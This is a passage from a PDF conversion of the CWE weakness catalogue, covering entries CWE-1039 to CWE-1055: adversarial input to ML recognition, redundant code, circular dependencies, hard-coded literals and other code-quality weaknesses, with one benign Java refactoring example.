ParentOf		1037	Processor Optimization Removal or Modification of Security-critical Code	1736

## Weakness Ordinalities

**Primary** : This weakness does not depend on other weaknesses and is the result of choices made during optimization.

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic  <i>The optimizations alter the order of execution resulting in side effects that were not intended by the original developer.</i>	

## CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations

**Weakness ID** : 1039

**Structure** : Simple

**Abstraction** : Class

## Description

The product uses an automated mechanism such as machine learning to recognize complex data inputs (e.g. image or audio) as a particular concept or category, but it does not properly detect or handle inputs that have been modified or constructed in a way that causes the mechanism to detect a different, incorrect concept.

## Extended Description

When techniques such as machine learning are used to automatically classify input streams, and those classifications are used for security-critical decisions, then any mistake in classification can introduce a vulnerability that allows attackers to cause the product to make the wrong security decision. If the automated mechanism is not developed or "trained" with enough input data, then attackers may be able to craft malicious input that intentionally triggers the incorrect classification.

Targeted technologies include, but are not necessarily limited to:

- automated speech recognition
- automated image recognition

For example, an attacker might modify road signs or road surface markings to trick autonomous vehicles into misreading the sign/markings and performing a dangerous action.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1428
ChildOf	P	693	Protection Mechanism Failure	1422

## Weakness Ordinalities

**Primary : This weakness does not depend on other weaknesses and is the result of choices made during optimization.**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Bypass Protection Mechanism  <i>When the automated recognition is used in a protection mechanism, an attacker may be able to craft inputs that are misinterpreted in a way that grants excess privileges.</i>	

## Notes

### Relationship

Further investigation is needed to determine if better relationships exist or if additional organizational entries need to be created. For example, this issue might be better related to "recognition of input as an incorrect type," which might place it as a sibling of CWE-704 (incorrect type conversion).

## References

[REF-16]Christian Szegedy, Wojciech Zaremba, Ilya Sutskever, Joan Bruna, Dumitru Erhan, Ian Goodfellow and Rob Fergus. "Intriguing properties of neural networks". 2014 February 9. < <https://arxiv.org/abs/1312.6199> >.

[REF-17]OpenAI. "Attacking Machine Learning with Adversarial Examples". 2017 February 4. < <https://blog.openai.com/adversarial-example-research/> >.

[REF-15]James Vincent. "Magic AI: These are the Optical Illusions that Trick, Fool, and Flummox Computers". 2017 April 2. The Verge. < <https://www.theverge.com/2017/4/12/15271874/ai-adversarial-images-fooling-attacks-artificial-intelligence> >.

[REF-13]Xuejing Yuan, Yuxuan Chen, Yue Zhao, Yunhui Long, Xiaokang Liu, Kai Chen, Shengzhi Zhang, Heqing Huang, Xiaofeng Wang and Carl A. Gunter. "CommanderSong: A Systematic Approach for Practical Adversarial Voice Recognition". 2018 January 4. < <https://arxiv.org/pdf/1801.08535.pdf> >.

[REF-14]Nicholas Carlini and David Wagner. "Audio Adversarial Examples: Targeted Attacks on Speech-to-Text". 2018 January 5. < <https://arxiv.org/abs/1801.01944> >.

## CWE-1041: Use of Redundant Code

**Weakness ID** : 1041

**Structure** : Simple

**Abstraction** : Base

### Description

The product has multiple functions, methods, procedures, macros, etc. that contain the same code.

### Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. For example, if there are two copies of the same code, the programmer might fix a weakness in one copy while forgetting to fix the same weakness in another copy.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### Potential Mitigations

**Phase: Implementation**

Merge common functionality into a single function and then call that function from across the entire code base.

### Demonstrative Examples

**Example 1:**

In the following Java example the code performs some complex math when specific test conditions are met. The math is the same in each case and the equations are repeated within the code. Unfortunately if a future change needs to be made then that change needs to be made in all



locations. This opens the door to mistakes being made and the changes not being made in the same way in each instance.

Example Language: Java

(Bad)

```
public class Main {
    public static void main(String[] args) {
        double s = 10.0;
        double r = 1.0;
        double pi = 3.14159;
        double surface_area;
        if(r > 0.0) {
            // complex math equations
            surface_area = pi * r * s + pi * Math.pow(r, 2);
        }
        if(r > 1.0) {
            // a complex set of math
            surface_area = pi * r * s + pi * Math.pow(r, 2);
        }
    }
}
```

It is recommended to place the complex math into its own function and then call that function whenever necessary.

Example Language: Java

(Good)

```
public class Main {
    private double ComplexMath(double r, double s) {
        //complex math equations
        double pi = Math.PI;
        double surface_area = pi * r * s + pi * Math.pow(r, 2);
        return surface_area;
    }
    public static void main(String[] args) {
        double s = 10.0;
        double r = 1.0;
        double surface_area;
        if(r > 0.0) {
            surface_area = ComplexMath(r, s);
        }
        if(r > 1.0) {
            surface_area = ComplexMath(r, s);
        }
    }
}
```

CWE-1041: Use of Redundant Code

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-19		

### References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1042: Static Member Data Element outside of a Singleton Class Element

**Weakness ID** : 1042

**Structure** : Simple

**Abstraction** : Variant

### Description

The code contains a member element that is declared as static (but not final), in which its parent class element is not a singleton class - that is, a class element that can be used only once in the 'to' association of a Create action.

### Extended Description

This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1176	Inefficient CPU Computation	1826

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2236
MemberOf		1309	CISQ Quality Measures - Efficiency	1305	2279

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-3		

### References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.

## CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements

**Weakness ID :** 1043

**Structure :** Simple

**Abstraction :** Base

### Description

The product uses a data element that has an excessively large number of sub-elements with non-primitive data types such as structures or aggregated objects.

### Extended Description

This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "excessively large" may vary for each product or developer, CISQ recommends a default of 5 sub-elements.



### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1093	Excessively Complex Data Representation	1793

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215
MemberOf		1226	Complexity Issues	2273

### Weakness Ordinalities



**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2236
MemberOf		1309	CISQ Quality Measures - Efficiency	1305	2279

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-12		

### References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

## CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range

Weakness ID : 1044

Structure : Simple

Abstraction : Base

### Description

The product's architecture contains too many - or too few - horizontal layers.

### Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "expected range" may vary for each product or developer, CISQ recommends a default minimum of 4 layers and maximum of 8 layers.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2215

### Weakness Ordinalities

Indirect :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2234

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-9		

## References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor

**Weakness ID :** 1045

**Structure :** Simple

**Abstraction :** Variant

### Description

A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.

### Extended Description

This issue can prevent the product from running reliably, since the child might not perform essential destruction operations. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability, such as a memory leak (CWE-401).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1076	Insufficient Adherence to Expected Conventions	1778

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf		1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM- RLB-17		

## References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

[REF-977]QuantStart. "C++ Virtual Destructors: How to Avoid Memory Leaks". < <https://www.quantstart.com/articles/C-Virtual-Destructors-How-to-Avoid-Memory-Leaks> >.

[REF-978]GeeksforGeeks. "Virtual Destructor". < <https://www.geeksforgeeks.org/virtual-destructor/> >.

## CWE-1046: Creation of Immutable Text Using String Concatenation

**Weakness ID** : 1046

**Structure** : Simple

**Abstraction** : Base

### Description

The product creates an immutable text string using string concatenation operations.

### Extended Description

When building a string via a looping feature (e.g., a FOR or WHILE loop), the use of += to append to the existing string will result in the creation of a new object with each iteration. This programming pattern can be inefficient in comparison with use of text buffer data elements. This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this could be influenced to create performance problem.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1176	Inefficient CPU Computation	1826

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2236
MemberOf		1309	CISQ Quality Measures - Efficiency	1305	2279

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-2		

### References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.

## CWE-1047: Modules with Circular Dependencies

**Weakness ID :** 1047

**Structure :** Simple

**Abstraction :** Base

### Description

The product contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies.

### Extended Description

As an example, with Java, this weakness might indicate cycles between packages.

This issue makes it more difficult to maintain the product due to insufficient modularity, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1817

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1226	Complexity Issues	2273

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

### MemberOf Relationships



This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-7		
OMG ASCRM	ASCRM-RLB-13		

### References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-1048: Invokable Control Element with Large Number of Outward Calls

**Weakness ID :** 1048

**Structure :** Simple

**Abstraction :** Base

### Description

The code contains callable control elements that contain an excessively large number of references to other application objects external to the context of the callable, i.e. a Fan-Out value that is excessively large.

### Extended Description

While the interpretation of "excessively large Fan-Out value" may vary for each product or developer, CISQ recommends a default of 5 referenced objects.

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2215

## Weakness Ordinalities

Indirect :

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-4		

## References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1049: Excessive Data Query Operations in a Large Data Table

Weakness ID : 1049

Structure : Simple

Abstraction : Base

## Description

The product performs a data query with a large number of joins and sub-queries on a large data table.

## Extended Description

This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "large number of joins or sub-queries" may vary for each product or developer, CISQ recommends a default of 1 million rows for a "large" data table, a default minimum of 5 joins, and a default minimum of 3 sub-queries.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1176	Inefficient CPU Computation	1826

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

Indirect :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2236
MemberOf		1309	CISQ Quality Measures - Efficiency	1305	2279

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-4		

### References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.

## CWE-1050: Excessive Platform Resource Consumption within a Loop

**Weakness ID** : 1050

**Structure** : Simple

**Abstraction** : Base

### Description

The product has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors.

### Extended Description

This issue can make the product perform more slowly. If an attacker can influence the number of iterations in the loop, then this performance problem might allow a denial of service by consuming more platform resources than intended.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	933

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities



Indirect :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2236
MemberOf		1309	CISQ Quality Measures - Efficiency	1305	2279

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-8		

### References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.

## CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data

<b>Weakness ID</b> : 1051
<b>Structure</b> : Simple
<b>Abstraction</b> : Base

### Description

The product initializes data using hard-coded values that act as network resource identifiers.

### Extended Description

This issue can prevent the product from running reliably, e.g. if it runs in an environment does not use the hard-coded network resource identifiers. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		452	Initialization and Cleanup Errors	2120

### Weakness Ordinalities





Indirect :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf		1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277
MemberOf		1340	CISQ Data Protection Measures	1340	2350

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-18		

### References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-1052: Excessive Use of Hard-Coded Literals in Initialization

**Weakness ID** : 1052

**Structure** : Simple

**Abstraction** : Base

### Description

The product initializes a data element using a hard-coded literal that is not a simple integer or static constant element.

### Extended Description

This issue makes it more difficult to modify or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		452	Initialization and Cleanup Errors	2120

### Weakness Ordinalities

Indirect :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-3		

### References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1053: Missing Documentation for Design

**Weakness ID :** 1053

**Structure :** Simple

**Abstraction :** Base

### Description

The product does not have documentation that represents how it is designed.

### Extended Description

This issue can make it more difficult to understand and maintain the product. It can make it more difficult and time-consuming to detect and/or fix vulnerabilities.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1059	Insufficient Technical Documentation	1759

*Relevant to the view "Software Development" (CWE-699)*



Nature	Type	ID	Name	Page
MemberOf		1225	Documentation Issues	2273

### Weakness Ordinalities

Indirect :

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1208	Cross-Cutting Problems	1194	2268

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer

**Weakness ID :** 1054

**Structure :** Simple

**Abstraction :** Base

### Description

The code at one architectural layer invokes code that resides at a deeper layer than the adjacent layer, i.e., the invocation skips at least one layer, and the invoked code is not part of a vertical utility layer that can be referenced from any horizontal layer.


### Extended Description

This issue makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1061	Insufficient Encapsulation	1762

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1227	Encapsulation Issues	2274

### Weakness Ordinalities

Indirect :

### Common Consequences



Scope	Impact	Likelihood
Other	Reduce Maintainability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-12		

### References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1055: Multiple Inheritance from Concrete Classes

**Weakness ID :** 1055

**Structure :** Simple

**Abstraction :** Base

### Description

The product contains a class with inheritance from more than one concrete class.

### Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	1093	Excessively Complex Data Representation	1793

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2273

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-2		

### References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1056: Invokable Control Element with Variadic Parameters

**Weakness ID :** 1056

**Structure :** Simple

**Abstraction :** Base

### Description

